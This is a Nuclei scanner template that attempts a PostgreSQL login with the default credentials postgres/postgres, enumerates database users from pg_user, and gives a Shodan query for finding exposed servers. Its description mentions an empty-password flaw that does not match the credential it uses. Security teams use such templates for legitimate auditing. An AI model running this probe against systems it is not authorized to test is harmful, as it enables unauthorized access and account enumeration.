id: pgsql-list-users

info:
  name: PostgreSQL List Users
  author: pussycat0x
  severity: info
  description: |
    Postgresql has a flaw that allows the attacker to login with empty password.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-users
  metadata:
    shodan-query: product:"PostgreSQL"
  tags: js,network,postgresql

javascript:
  - code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, "SELECT usename FROM pg_user");
      Export(connected);

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"
#      Query: "\du"

    payloads:
      usernames:
        - postgres
      database:
        - postgres
      password:
        - postgres

    attack: clusterbomb

    extractors:
      - type: json
        json:
          - '.Rows[].usename'